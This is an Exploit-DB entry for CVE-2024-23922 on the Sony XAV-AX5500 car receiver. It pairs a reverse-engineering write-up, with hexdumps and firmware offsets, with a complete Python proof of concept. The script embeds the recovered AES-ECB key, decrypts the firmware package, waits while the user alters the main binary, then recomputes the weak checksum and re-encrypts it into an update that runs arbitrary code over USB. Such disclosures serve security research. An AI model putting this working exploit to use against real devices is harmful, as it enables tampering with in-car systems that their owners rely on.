Sony XAV-AX5500 1.13 - Firmware Update Validation Remote Code Execution (RCE)

EDB-ID:

52143




Platform:

Multiple

Date:

2025-04-08


# Exploit Title: Sony XAV-AX5500 Firmware Update Validation Remote Code Execution 
# Date: 11-Feb-2025
# Exploit Author: lkushinada
# Vendor Homepage: https://www.sony.com/et/electronics/in-car-receivers-players/xav-ax5500
# Software Link: https://archive.org/details/xav-ax-5500-v-113
# Version: 1.13
# Tested on: Sony XAV-AX5500
# CVE : CVE-2024-23922

# From NIST CVE Details:
# ====
# This vulnerability allows physically present attackers to execute arbitrary code on affected
# installations of Sony XAV-AX5500 devices. Authentication is not required to exploit this
# vulnerability. The specific flaw exists within the handling of software updates. The issue
# results from the lack of proper validation of software update packages. An attacker can leverage
# this vulnerability to execute code in the context of the device. 
# Was ZDI-CAN-22939
# ====

# # Summary
# Sony's firmware validation for a number of their XAV-AX products relies on symetric cryptography,
# obscurity of their package format, and a weird checksum method instead of any real firmware
# signing mechanism. As such, this can be exploited to craft updates which bypass firmware validation
# and allow a USB-based attacker to obtain RCE on the infotainment unit.

# What's not mentioned in the CVE advisories, is that this method works on the majority of Sony's
# infotainment units and products which use a similar chipset or firmware package format. Tested 
# to work on most firmware versions prior to v2.00.

# # Threat Model
# An attacker with physical access to an automotive media unit can typically utilize other methods
# to achieve a malicious outcome. The reason to investigate the firmware to the extent in this post
# is academic, exploratory, and cautionary, i.e. what other systems are protected in a similar
# manner? if they are, how trivial is it to bypass?

# # Disclaimer
# The information in this article is for educational purposes only.
# Tampering with an automotive system comes with risks which, if you don't understand, you should
# not be undertaking.
# THE AUTHORS DISCLAIM ANY AND ALL RESPONSIBILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES ARISING
# FROM THE USE OF ANYTHING IN THIS DOCUMENT.


# # The Unit
# ## Processors
#  - DAC
#  - System Management Controller (SMC)
#  - Applications Processor
#  - Display Processor

# Coming from a mobile and desktop computer environment, one may be use to thinking about
# the Applications Processor as the most powerful chip in the system in terms of processing power,
# size, power consumption, and system hierarchy. The first oddity of this platform is that the
# application processor is not the most powerful; that honor goes to the DAC, a beefy ARM chip on the
# board.

# The application processor does not appear to be the orchestrator of the components on the system.
# The SMC tkes which takes the role of watchdog, power state management, and input (think remote
# controls, steering wheel button presses) routing.
# For our purposes, it is the Applications processor we're interested in, as it is
# the system responsible for updating the unit via USB.

# ## Interfaces
# We're going to be attacking the unit via USB, as it's the most readily exposed
# interface to owners and would-be attackers.
# Whilst the applications processor does have a UART interface, the most recent iterations of the
# unit do not expose any headers for debugging via UART, and the one active UART line found to be
# active was for message passing between the SMC and app processor, not debug purposes. Similarly, no
# exposed JTAG interfaces were found to be readily exposed on recent iterations of the unit. Sony's
# documentation suggests these are not enabled, but this could not be verified during testing. At the
# very least, JTAG was not found to be exposed on an accessible interface.

# ## Storage
# The boards analyzed had two SPI NOR flash chips, one with an unencrypted firmware image on it. This
# firmware was RARd. The contents of SPI flash was analyzed to determine many of the details
# discussed in this report.

# ## The Updater
# Updates are provided on Sony's support website. A ZIP package is provided with three files:
#  - SHDS1132.up6
#  - SHMC1132.u88
#  - SHSO1132.fir
# The largest of these files (8 meg), the .fir, is in a custom format, and appears encrypted.
# The FIR file has a header which contains the date of firmware publication, the strings KRSELCO and
# SKIP, a chunk of zeros, and then a highish entropy section, and some repeating patterns of interest:

# 00002070  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|
# *
# 00002860  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|

# 00744110  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|
# *
# 00800020  b7 72 10 03 00 8c 82 7e  aa d1 83 58 23 ef 82 5c  |.r.....~...X#..\|


# ## SPI Flash
# Dumping the contents of the SPI flash shows a similar layout, with slightly different offsets:
# 00001fe0  10 10 10 10 10 10 10 10  ff ff ff ff ff ff ff ff  |................|
# 00001ff0  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
# *
# 000027f0  ff ff ff ff ff ff ff ff  ff ff ff ff 00 03 e7 52  |...............R|
# 00002800  52 61 72 21 1a 07 00 cf  90 73 00 00 0d 00 00 00  |Rar!.....s......|
#
# 0007fff0  ff ff ff ff ff ff ff ff  ff ff ff ff 00 6c 40 8b  |.............l@.|
# 00080000  52 61 72 21 1a 07 00 cf  90 73 00 00 0d 00 00 00  |Rar!.....s......|
# ...
# 00744090  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
# *
# 00778000
#
# This given the offsets and spacing, we suspect that the .FIR matches the contents of the SPI.
# Decompressing the RARs at the 0x2800 and 0x80000, we get the recovery and main applications.

# Once we remove the packaging bytes, seeing that the repetive patterns align with FF's, gives
# us a strong indication the encryption function is operating in an ECB-style configuration,
# giving us an avenue, even if we do not recover the key, to potentially make modifications
# to the firmware depending on how the checksum is being calculated.

# ## Firmware
# The recovery application contains the decompression, decryption and checksum methods.
# Putting the recovery_16.bin into ghidra and setting the memory map to load us in at 0x2800,
# we start taking a look at the relevant functions by way of:
# - looking for known strings (KRSELCO)
# - analyizing the logic and looking for obvious "if this passed, begin the update, else fail"
# - looking for things that look like encryption (loads of bitshifting math in one function)
# Of interest to us, there is:
# - 0x0082f4 - a strcmp between KRSELCO and the address the incoming firmware update is at, plus 0x10
# - 0x00897a - a function which sums the total number of bytes until we hit 0xA5A5A5A5
# - 0x02d4ce - the AES decryption function
# - 0x040dd4 - strcmp (?)
# - 0x040aa4 - memcpy (?)
# - 0x046490 - the vendor plus the a number an idiot would use for their luggage, followed by enough
#              padding zeros to get us to a 16 byte key

# This gives us all the information we need, other than making some guesses as to the general package
# and header layout of the update package, to craft an update packager that allows arbitrary
# modification of the firmware.

# # Proof of Concept
# The PoC below will take an existing USB firmware update, decrypt and extract the main binary,
# pause whilst you make modifications (e.g. changing the logic or modifying a message), and repackage
# the update.

# ## Requirements
# - Unixish system
# - WinRar 2.0 (the version the Egyptians built the pyramids with)

# ## Usage
# cve-2024-23922.py path_to_winrar source.fir output.fir

import argparse
import sys
import os
import tempfile
import shutil
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend

# Filenames as found in the .FIR
MAIN_BINARY_NAME="main_16.bin"
MAIN_RAR_NAME="main_16.rar"
DECRYPTED_FILE_NAME="decrypt.bin"
ENCRYPTED_FILE_NAME="encrypt.bin"

# Offsets in the .FIR
HEADER_LENGTH=0x80
RECOVERY_OFFSET=0x2800
MAIN_OFFSET=0x80000
CHECKSUM_OFFSET=0x800000-0x10
CHECKSUM_SIZE=0x4
RAR_LENGTH_OFFSET=0x4
RAR_LENGTH_SIZE=0x4

# From 0x46490 in recovery_16.bin
ENCRYPTION_KEY=b'\x54\x41\x4d\x55\x4c\x31\x32\x33\x34\x00\x00\x00\x00\x00\x00\x00'

def decrypt_file(input_file, output_file):
    backend = default_backend()
    cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
    decryptor = cipher.decryptor()

    with open(input_file, 'rb') as file:
        ciphertext = file.read()

    # Strip the unencrypted header
    ciphertext = ciphertext[HEADER_LENGTH:]

    decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()

    with open(output_file, 'wb') as file:
        file.write(decrypted_data)

def aes_encrypt_file(input_file, output_file):
    backend = default_backend()
    cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
    encryptor = cipher.encryptor()

    with open(input_file, 'rb') as file:
        plaintext = file.read()

    ciphertext = encryptor.update(plaintext) + encryptor.finalize()

    with open(output_file, 'wb') as file:
        file.write(ciphertext)

def get_sony_32(data):
    csum = int()
    for i in data:
        csum = csum + i
    return csum % 2147483648 # 2^31

def validate_args(winrar_path, source_file, destination_file):
    # Check if the WinRAR executable exists and is a file
    if not os.path.isfile(winrar_path) or not os.access(winrar_path, os.X_OK):
        print(f"[x] Error: The specified WinRAR path '{winrar_path}' is not a valid executable.")
        sys.exit(1)
    
    # Check if the source file exists
    if not os.path.isfile(source_file):
        print(f"[x] Error: The specified source file '{source_file}' does not exist.")
        sys.exit(1)
    
    # Read 8 bytes from offset 0x10 in the source file
    try:
        with open(source_file, 'rb') as f:
            f.seek(0x10)
            signature = f.read(8)
            if signature != b'KRSELECO':
                print(f"[x] Error: The source file '{source_file}' does not contain the expected signature.")
                sys.exit(1)
    except Exception as e:
        print(f"[x] Error: Failed to read from '{source_file}': {e}")
        sys.exit(1)

    # Check if the destination file already exists
    if os.path.exists(destination_file):
        print(f"[x] Error: The destination file '{destination_file}' already exists.")
        sys.exit(1)

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-23922 Sony XAV-AX5500 Firmware Modifier")
    parser.add_argument("winrar_path", help="Path to WinRAR 2.0 executable (yes, the ancient one)")
    parser.add_argument("source_file", help="Path to original .FIR file")
    parser.add_argument("destination_file", help="Path to write the modified .FIR file to")

    args = parser.parse_args()

    validate_args(args.winrar_path, args.source_file, args.destination_file)
    RAR_2_PATH = args.winrar_path
    GOOD_FIRMWARE_FILE = args.source_file
    DESTINATION_FIRMWARE_FILE = args.destination_file

    # make temporary directory
    workdir = tempfile.mkdtemp(prefix="sony_firmware_modifications")

    # copy the good firmware file into the temp directory
    temp_fir_file = os.path.join(workdir, os.path.basename(GOOD_FIRMWARE_FILE))
    shutil.copyfile(GOOD_FIRMWARE_FILE, temp_fir_file)

    print("[+] Cutting the head off and decrypting the contents")
    decrypted_file_path = os.path.join(workdir, DECRYPTED_FILE_NAME)
    decrypt_file(input_file=temp_fir_file, output_file=decrypted_file_path)

    print("[+] Dump out the rar file")
    with open(decrypted_file_path, 'rb') as file:
        # right before the rar file there is a 4 byte length header for the rar file. get that.
        file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
        original_rar_length = int.from_bytes(file.read(RAR_LENGTH_SIZE), "big")
        rar_file_bytes = file.read(original_rar_length)

        # now dump that out
        rar_file_path=os.path.join(workdir, MAIN_RAR_NAME)
        with open(rar_file_path, 'wb') as rarfile:
            rarfile.write(rar_file_bytes)

    # check that the stat of the file matches what the header told us
    dumped_rar_size = os.stat(rar_file_path).st_size
    if dumped_rar_size != original_rar_length:
        print("[!] extracted filesizes dont match, there may be corruption", dumped_rar_size, original_rar_length)

    print("[+] Extracting the main binary from the rar file")
    os.system("unrar x " + rar_file_path + " " + workdir)

    print("[!] Okay, I'm now going to wait until you have had a chance to make modifications")
    print("Please modify this file:", os.path.join(workdir, MAIN_BINARY_NAME))
    input()

    print("[+] Continuing")
    print("[+] Putting your main binary back into the rar file")
    os.system("wine " + RAR_2_PATH + " u -tk -ep " + rar_file_path + " " + workdir + "/" + MAIN_BINARY_NAME)

    # we could fix this by writing some FFs
    new_rar_size=os.stat(rar_file_path).st_size
    if dumped_rar_size > os.stat(rar_file_path).st_size:
        print("[!!] The rar size is smaller than the old one. This might cause a problem.")
        print("[!!] Push any key to continue, ctrl+c to abort")
        input()

    with open(decrypted_file_path, 'r+b') as file:
        # right before the rar file there is a 4 byte length header for the rar file. go back there
        file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)

        # overwrite the old size with the new size
        file.write(new_rar_size.to_bytes(RAR_LENGTH_SIZE, "big"))

        print("[+] Deleting the old rar from the main container")
        # delete the old rar from the main container by FFing it up
        file.write(b'\xFF'*original_rar_length)

        # seek back to the start
        file.seek(MAIN_OFFSET)

        print("[+] Loading the new rar back into the main container")
        with open(rar_file_path, 'rb') as rarfile:
            new_rarfile_bytes = rarfile.read()
            file.write(new_rarfile_bytes)

    print("[+] Updating Checksum")
    with open(decrypted_file_path, 'rb') as file:
        contents = file.read()

    contents = contents[:-0x0010]
    s32_sum = get_sony_32(contents)

    with open(decrypted_file_path, 'r+b') as file:
        file.seek(CHECKSUM_OFFSET)
        # read out the current checksum
        old_checksum_bytes=file.read(CHECKSUM_SIZE)
        print("old checksum:", int.from_bytes(old_checksum_bytes, "big"), old_checksum_bytes)

        # go back and update it with new checksum
        print("new checksum:", s32_sum, hex(s32_sum))
        new_checksum_bytes=s32_sum.to_bytes(CHECKSUM_SIZE, "big")
        file.seek(CHECKSUM_OFFSET)
        file.write(new_checksum_bytes)

    print("[+] Encrypting the main container back up")
    encrypted_file_path = os.path.join(workdir, ENCRYPTED_FILE_NAME)
    aes_encrypt_file(decrypted_file_path, encrypted_file_path)

    print("[+] Reattaching the main container to the header and writing to dest")
    with open(DESTINATION_FIRMWARE_FILE, 'wb') as file:
        with open(temp_fir_file, 'rb') as firfile:
            header = firfile.read(HEADER_LENGTH)
        file.write(header)
        with open(encrypted_file_path, 'rb') as encfile:
            enc_contents = encfile.read()
        file.write(enc_contents)

    print("[+] DONE!!! Any key to delete temp files, ctrl+c to keep them.")
    input()
    shutil.rmtree(workdir)

if __name__ == "__main__":
    main()